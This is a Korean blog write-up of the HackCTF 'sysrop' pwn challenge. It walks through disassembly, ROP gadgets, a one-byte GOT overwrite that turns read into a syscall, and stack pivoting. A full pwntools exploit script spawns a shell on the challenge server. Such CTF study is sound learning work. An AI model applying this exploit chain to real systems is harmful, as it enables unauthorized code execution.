시작
안녕하세요 :D
350점 짜리 첫 문제, sysrop 입니다.
풀긴 풀었는데 엄청 삽질했네요.. 다른 분들 풀이 보니깐 참 쉽게 푸셨던데 ㅠㅠ
시작해볼게요.
Write UP
4005f2: 55 push rbp
4005f3: 48 89 e5 mov rbp,rsp
4005f6: 48 83 ec 10 sub rsp,0x10
4005fa: 48 8b 05 3f 0a 20 00 mov rax,QWORD PTR [rip+0x200a3f] # 601040
400601: b9 00 00 00 00 mov ecx,0x0
400606: ba 02 00 00 00 mov edx,0x2
40060b: be 00 00 00 00 mov esi,0x0
400610: 48 89 c7 mov rdi,rax
400613: e8 b8 fe ff ff call 4004d0 <setvbuf@plt>
400618: 48 8b 05 31 0a 20 00 mov rax,QWORD PTR [rip+0x200a31] # 601050
40061f: b9 00 00 00 00 mov ecx,0x0
400624: ba 02 00 00 00 mov edx,0x2
400629: be 00 00 00 00 mov esi,0x0
40062e: 48 89 c7 mov rdi,rax
400631: e8 9a fe ff ff call 4004d0 <setvbuf@plt>
400636: 48 8d 45 f0 lea rax,[rbp-0x10]
40063a: ba 78 00 00 00 mov edx,0x78
40063f: 48 89 c6 mov rsi,rax
400642: bf 00 00 00 00 mov edi,0x0
400647: e8 64 fe ff ff call 4004b0 <read@plt>
40064c: b8 00 00 00 00 mov eax,0x0
400651: c9 leave
400652: c3 ret
stripped된 파일이라 gdb 상에서 main이 안 보여요. 때문에 objdump로 긁어왔습니다.
read(0, &rbp-0x10,, 0x78)
이외엔 특별한 코드는 안 보이네요. 가젯만 있으면 쉽게 뜯을 수 있겠습니다.
0x004005ea: pop rax ; pop rdx ; pop rdi ; pop rsi ; ret ; (1 found)
가젯 여기 다 있네요 ㅋㅋㅋㅋㅋㅋ
root@goorm:/workspace/LCH_Server/HackCTF/25.SROP# rp-lin-x64 -f ./sysrop -r 4 | grep "syscall"
root@goorm:/workspace/LCH_Server/HackCTF/25.SROP#
syscall만 없는 것을 확인할 수 있습니다.
옛날에 푼 문제 중 pwnable.kr의 Unexploitable이랑 비슷하네요.
syscall이 없을 땐 특정 함수의 1 byte를 함수 내 syscall 부분의 1 byte로 덮어주면 plt 호출 시 syscall로 작용하는 내용이 있었습니다.
주어진 libc를 gdb에 올리고 read()의 syscall 부분을 찾아봅시다.
gdb-peda$ find "\x0f\x05"
Searching for '\x0f\x05' in: None ranges
Found 483 results, display max 256 items:
.
.
libc.so.6 : 0x55f1e2be127b (<read+43>: syscall)
.
.
하위 1 byte는 \x7b
네요. 얘를 read_got에 덮어쓰겠습니다.
시나리오는 “/bin/sh”를 넣어주고, read_got 1 byte overwrite 이후 rax에 0x3b, rdi에 “/bin/sh” 주소 준 후 read_plt 호출이 끝인데..
페이로드를 0x78 = 120 bytes밖에 못 넣어줘요.
이건 그냥 함수의 프롤로그 부분으로 넘기면 되는데 저는.. 뭔가에 씌여서.. read()의 시작부분으로 계속 넘겨버렸어요..
이 쪽으로 넘기면 SFP에 유효하지 않은 값을 줄 시 세그폴트가 계속 뜹니다.
rbp-0x10에 입력을 받는데 문제가 생기기 때문이에요.
편안하게 push rbp / mov rbp, rsp로 넘기면 mov 연산에 의해 유효한 rbp가 들어갈텐데..
결국 “/bin/sh”를 넣고 push rbp로 돌린 후 위에 언급한 시나리오를 따라가면 쉽게 풀릴 문제가 다음과 같은
괴랄한 코드로 변해버렸습니다ㅠㅠ
from pwn import *
#p = process("./sysrop")
p = remote("ctf.j0n9hyun.xyz", 3024)
#context.log_level = "debug"
payload = ""
exploit = ""
pay = ""
read_plt = 0x4004b0
read_got = 0x601018
pppr = 0x4005eb
ppppr = 0x4005ea
main_read = 0x400636
save_rbp = 0x601070
save_rbp2 = 0x601500
save_rsp = 0x601508
setvbuf_got = 0x601028
leave_ret = 0x400651
binsh = 0x601800
payload += "A" * 16
payload += p64(save_rbp)
payload += p64(main_read) # Set rbp = 0x601070
p.send(payload)
sleep(0.5)
exploit += "A" * 16 # buf = 0x601060
exploit += p64(save_rbp2) # Set rbp = 0x601500
exploit += p64(pppr)
exploit += p64(0x200)
exploit += p64(0)
exploit += p64(save_rsp)
exploit += p64(read_plt) # read(0, 0x601508, 0x200)
exploit += p64(leave_ret) # rbp = 0x601500 / rsp = 0x601508
p.send(exploit)
sleep(0.5)
pay += p64(ppppr) # 0x601508
pay += p64(0)
pay += p64(8)
pay += p64(0)
pay += p64(binsh)
pay += p64(read_plt)
pay += p64(pppr)
pay += p64(1)
pay += p64(0)
pay += p64(read_got)
pay += p64(read_plt)
pay += p64(ppppr)
pay += p64(0x3b)
pay += p64(0)
pay += p64(binsh)
pay += p64(0)
pay += p64(read_plt)
p.send(pay)
sleep(0.5)
p.send("/bin/sh\x00")
sleep(0.5)
p.send("\x7b")
sleep(0.5)
p.interactive()
유효한 rbp를 넣어주려고 leave_ret 가젯도 쓰고.. 난리났네요 진짜
꼭 기억합시다!! 페이로드 길이가 부족할 땐 프롤로그로 돌리는게 마음 편하다는 것을!!!..
[+] Opening connection to ctf.j0n9hyun.xyz on port 3024: Done
[*] Switching to interactive mode
$ ls
flag
main
$ cat flag
//flag!!!
Exploit!!
마무리
왜 lea 명령어쪽으로 돌려서 rbp와 rsp의 offset을 하나하나 찾아 페이로드를 꾸겨넣었을까요 ㅠㅠ
오랜만에 제대로 삽질했습니다 ㅋㅋㅋㅋㅋ 이제라도 프롤로그로 돌리자는 것을 느꼈으니 된 거에요ㅎ
감사합니다 :D
'CTF_Write_UP > HackCTF' 카테고리의 다른 글
[HackCTF] Register (0) | 2019.10.15 |
---|---|
[HackCTF] RTC (0) | 2019.10.12 |
[HackCTF] Unexploitable #1 (0) | 2019.10.10 |
[HackCTF] UAF (0) | 2019.09.26 |
[HackCTF] Pwning (0) | 2019.09.26 |